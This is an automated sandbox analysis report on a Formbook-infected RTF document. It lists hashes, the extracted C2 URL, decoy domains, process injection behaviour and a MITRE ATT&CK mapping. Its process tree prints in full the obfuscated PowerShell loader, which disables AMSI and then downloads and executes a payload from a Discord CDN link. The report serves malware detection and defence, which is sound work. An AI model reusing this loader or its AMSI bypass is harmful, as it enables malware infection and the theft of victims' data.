formbook | edff50baf76f61fd72952a9b613757729994ef745773d7b7ad67f352c302873d

General

Target

TT Slip.doc.rtf
Size

1.5MB
MD5

1346939d66aaba35fc0b1038500acb57
SHA1

069163a5437a681d36bd28db647a3e09cc3c843f
SHA256

edff50baf76f61fd72952a9b613757729994ef745773d7b7ad67f352c302873d
SHA512

aa2df1c8216dea9b33044f9b06c7239d61ce9cde3ffe2a6399c5b4c02ad5603bdc4418e3c2630509e7ef19d884a66153cbbb4051633226684d9b52a7a8fdf6ac

Score

10^/10

formbook rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

C2

http://www.transparentpetcrate.com/lnb/

Decoy

sauschwein.info

ywpntv.com

gironbeautysalon.online

cryptogeekstuff.com

leosrock.com

sistersv.space

ilss.life

vshuzi.com

europeanculinarymagic.com

mdtlalab.com

boletasenorden.com

eebushe11.com

sms8888.com

arrogantjerxs.com

aboudmotors.com

vzuels.com

searko.com

thathealthysoul.com

365wt38493984284.com

solarpanelsystemflorida.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1348 612 Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1348	612	Powershell.exe

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1712-25-0x000000000041EBA0-mapping.dmp	formbook
behavioral1/memory/1712-24-0x0000000000400000-0x000000000042E000-memory.dmp	formbook
behavioral1/memory/1484-35-0x00000000000C0000-0x00000000000EE000-memory.dmp	formbook

Blocklisted process makes network request 4 IoCs

Processes:

Powershell.exe

flow pid process

7 1348 Powershell.exe
9 1348 Powershell.exe
11 1348 Powershell.exe
13 1348 Powershell.exe

flow	pid	process
7	1348	Powershell.exe
9	1348	Powershell.exe
11	1348	Powershell.exe
13	1348	Powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

Powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

Powershell.exenotepad.exeraserver.exe

description	pid	process	target process
PID 1348 set thread context of 1712	1348	Powershell.exe	notepad.exe
PID 1712 set thread context of 1216	1712	notepad.exe	Explorer.EXE
PID 1712 set thread context of 1216	1712	notepad.exe	Explorer.EXE
PID 1484 set thread context of 1216	1484	raserver.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

1840 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
1840	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE

pid	process
1852	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

Powershell.exenotepad.exeraserver.exe

pid	process
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1348	Powershell.exe
1712	notepad.exe
1712	notepad.exe
1712	notepad.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe
1484	raserver.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

notepad.exeraserver.exe

pid process

1712 notepad.exe
1712 notepad.exe
1712 notepad.exe
1712 notepad.exe
1484 raserver.exe
1484 raserver.exe

pid	process
1712	notepad.exe
1712	notepad.exe
1712	notepad.exe
1712	notepad.exe
1484	raserver.exe
1484	raserver.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

Powershell.exenotepad.exeraserver.exe

description	pid	process
Token: SeDebugPrivilege	1348	Powershell.exe
Token: SeIncreaseQuotaPrivilege	1348	Powershell.exe
Token: SeSecurityPrivilege	1348	Powershell.exe
Token: SeTakeOwnershipPrivilege	1348	Powershell.exe
Token: SeLoadDriverPrivilege	1348	Powershell.exe
Token: SeSystemProfilePrivilege	1348	Powershell.exe
Token: SeSystemtimePrivilege	1348	Powershell.exe
Token: SeProfSingleProcessPrivilege	1348	Powershell.exe
Token: SeIncBasePriorityPrivilege	1348	Powershell.exe
Token: SeCreatePagefilePrivilege	1348	Powershell.exe
Token: SeBackupPrivilege	1348	Powershell.exe
Token: SeRestorePrivilege	1348	Powershell.exe
Token: SeShutdownPrivilege	1348	Powershell.exe
Token: SeDebugPrivilege	1348	Powershell.exe
Token: SeSystemEnvironmentPrivilege	1348	Powershell.exe
Token: SeRemoteShutdownPrivilege	1348	Powershell.exe
Token: SeUndockPrivilege	1348	Powershell.exe
Token: SeManageVolumePrivilege	1348	Powershell.exe
Token: 33	1348	Powershell.exe
Token: 34	1348	Powershell.exe
Token: 35	1348	Powershell.exe
Token: SeIncreaseQuotaPrivilege	1348	Powershell.exe
Token: SeSecurityPrivilege	1348	Powershell.exe
Token: SeTakeOwnershipPrivilege	1348	Powershell.exe
Token: SeLoadDriverPrivilege	1348	Powershell.exe
Token: SeSystemProfilePrivilege	1348	Powershell.exe
Token: SeSystemtimePrivilege	1348	Powershell.exe
Token: SeProfSingleProcessPrivilege	1348	Powershell.exe
Token: SeIncBasePriorityPrivilege	1348	Powershell.exe
Token: SeCreatePagefilePrivilege	1348	Powershell.exe
Token: SeBackupPrivilege	1348	Powershell.exe
Token: SeRestorePrivilege	1348	Powershell.exe
Token: SeShutdownPrivilege	1348	Powershell.exe
Token: SeDebugPrivilege	1348	Powershell.exe
Token: SeSystemEnvironmentPrivilege	1348	Powershell.exe
Token: SeRemoteShutdownPrivilege	1348	Powershell.exe
Token: SeUndockPrivilege	1348	Powershell.exe
Token: SeManageVolumePrivilege	1348	Powershell.exe
Token: 33	1348	Powershell.exe
Token: 34	1348	Powershell.exe
Token: 35	1348	Powershell.exe
Token: SeDebugPrivilege	1712	notepad.exe
Token: SeDebugPrivilege	1484	raserver.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE
1852 WINWORD.EXE

pid	process
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE

pid	process
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE

pid	process
1852	WINWORD.EXE
1852	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

EQNEDT32.EXECmD.exePowershell.exeExplorer.EXEraserver.exe

description	pid	process	target process
PID 1840 wrote to memory of 1700	1840	EQNEDT32.EXE	CmD.exe
PID 1840 wrote to memory of 1700	1840	EQNEDT32.EXE	CmD.exe
PID 1840 wrote to memory of 1700	1840	EQNEDT32.EXE	CmD.exe
PID 1840 wrote to memory of 1700	1840	EQNEDT32.EXE	CmD.exe
PID 1700 wrote to memory of 1568	1700	CmD.exe	cscript.exe
PID 1700 wrote to memory of 1568	1700	CmD.exe	cscript.exe
PID 1700 wrote to memory of 1568	1700	CmD.exe	cscript.exe
PID 1700 wrote to memory of 1568	1700	CmD.exe	cscript.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1348 wrote to memory of 1712	1348	Powershell.exe	notepad.exe
PID 1216 wrote to memory of 1484	1216	Explorer.EXE	raserver.exe
PID 1216 wrote to memory of 1484	1216	Explorer.EXE	raserver.exe
PID 1216 wrote to memory of 1484	1216	Explorer.EXE	raserver.exe
PID 1216 wrote to memory of 1484	1216	Explorer.EXE	raserver.exe
PID 1484 wrote to memory of 1600	1484	raserver.exe	cmd.exe
PID 1484 wrote to memory of 1600	1484	raserver.exe	cmd.exe
PID 1484 wrote to memory of 1600	1484	raserver.exe	cmd.exe
PID 1484 wrote to memory of 1600	1484	raserver.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1216

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TT Slip.doc.rtf"
2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\SysWOW64\raserver.exe
"C:\Windows\SysWOW64\raserver.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\notepad.exe"
3⤵
PID:1600

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\SysWOW64\CmD.exe
CmD.exe /C cscript %tmp%\Client.vbs AC
2⤵
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC
3⤵
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$8006132805152276888006132805152276888006132805152276885443=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,49,68,55,56,53,70,50,56,53,67,61,36,49,68,55,56,53,70,50,56,53,67,61,87,114,105,116,101,45,72,111,115,116,32,39,69,67,52,65,65,66,53,56,48,56,50,50,51,69,66,55,50,50,70,57,67,50,48,54,51,69,68,48,53,54,54,54,53,65,65,56,48,65,67,53,54,53,56,70,57,68,48,54,56,49,53,55,50,48,55,53,57,67,51,69,66,52,67,52,66,55,48,54,53,55,50,52,67,51,68,69,70,65,54,51,68,69,66,53,56,70,67,51,70,65,57,68,50,50,49,50,49,54,55,52,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,54,55,54,56,48,65,69,49,54,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,54,55,54,56,48,65,69,49,54,59,36,69,55,68,69,65,56,68,66,48,51,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,69,55,68,69,65,56,68,66,48,51,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,48,48,52,52,49,57,49,49,51,50,55,52,53,55,51,48,49,47,56,48,48,54,49,51,50,56,48,53,49,53,50,50,55,54,56,56,47,101,114,97,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,69,55,68,69,65,56,68,66,48,51,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,69,55,68,69,65,56,68,66,48,51,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($8006132805152276888006132805152276888006132805152276885443)|I`E`X
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1348

C:\WINDOWS\syswow64\notepad.exe
"{path}"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Client.vbs
MD5
bd033990ee0e8ce0b7d445615daaca63

SHA1
9b94d37fb98da1cc87e36f5d278b0189de5d3a4f

SHA256
9695adaf56aeed0b7c13fccb5a97f7fc0d6af1c0fdb8c5b99c5838c8f48a8494

SHA512
93e1941206b2fa2c51ba939a5133115d35d8f0d22063cc6dd7c0322c115ab0fd2ab1d98d9d29c8626d52f1bcf2b417233b04dfc0ed4ee7d242158eb87e422a29

Download Submit
memory/1216-31-0x0000000004DB0000-0x0000000004EC6000-memory.dmp

Filesize
1.1MB

Download
memory/1216-29-0x0000000004C40000-0x0000000004DA7000-memory.dmp

Filesize
1.4MB

Download
memory/1348-19-0x000000001B480000-0x000000001B481000-memory.dmp

Filesize
4KB

Download
memory/1348-18-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download
memory/1348-20-0x000000001B5F0000-0x000000001B5F1000-memory.dmp

Filesize
4KB

Download
memory/1348-21-0x000000001AB5A000-0x000000001AB79000-memory.dmp

Filesize
124KB

Download
memory/1348-23-0x000000001C980000-0x000000001C9C5000-memory.dmp

Filesize
276KB

Download
memory/1348-11-0x000007FEFBE81000-0x000007FEFBE83000-memory.dmp

Filesize
8KB

Download
memory/1348-12-0x000007FEF5500000-0x000007FEF5EEC000-memory.dmp

Filesize
9.9MB

Download
memory/1348-14-0x000000001ABD0000-0x000000001ABD1000-memory.dmp

Filesize
4KB

Download
memory/1348-13-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/1348-15-0x000000001AB50000-0x000000001AB52000-memory.dmp

Filesize
8KB

Download
memory/1348-17-0x00000000024D0000-0x00000000024D1000-memory.dmp

Filesize
4KB

Download
memory/1348-16-0x000000001AB54000-0x000000001AB56000-memory.dmp

Filesize
8KB

Download
memory/1484-38-0x0000000000490000-0x0000000000523000-memory.dmp

Filesize
588KB

Download
memory/1484-32-0x0000000000000000-mapping.dmp

Download
memory/1484-37-0x0000000001EC0000-0x00000000021C3000-memory.dmp

Filesize
3.0MB

Download
memory/1484-35-0x00000000000C0000-0x00000000000EE000-memory.dmp

Filesize
184KB

Download
memory/1484-34-0x0000000000910000-0x000000000092C000-memory.dmp

Filesize
112KB

Download
memory/1568-10-0x0000000002550000-0x0000000002554000-memory.dmp

Filesize
16KB

Download
memory/1568-7-0x0000000000000000-mapping.dmp

Download
memory/1600-36-0x0000000000000000-mapping.dmp

Download
memory/1672-22-0x000007FEF77D0000-0x000007FEF7A4A000-memory.dmp

Filesize
2.5MB

Download
memory/1700-6-0x0000000000000000-mapping.dmp

Download
memory/1712-28-0x0000000000280000-0x0000000000294000-memory.dmp

Filesize
80KB

Download
memory/1712-30-0x00000000003D0000-0x00000000003E4000-memory.dmp

Filesize
80KB

Download
memory/1712-25-0x000000000041EBA0-mapping.dmp

Download
memory/1712-27-0x00000000008A0000-0x0000000000BA3000-memory.dmp

Filesize
3.0MB

Download
memory/1712-24-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1840-5-0x00000000756C1000-0x00000000756C3000-memory.dmp

Filesize
8KB

Download
memory/1852-3-0x0000000070401000-0x0000000070403000-memory.dmp

Filesize
8KB

Download
memory/1852-2-0x0000000072981000-0x0000000072984000-memory.dmp

Filesize
12KB

Download
memory/1852-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads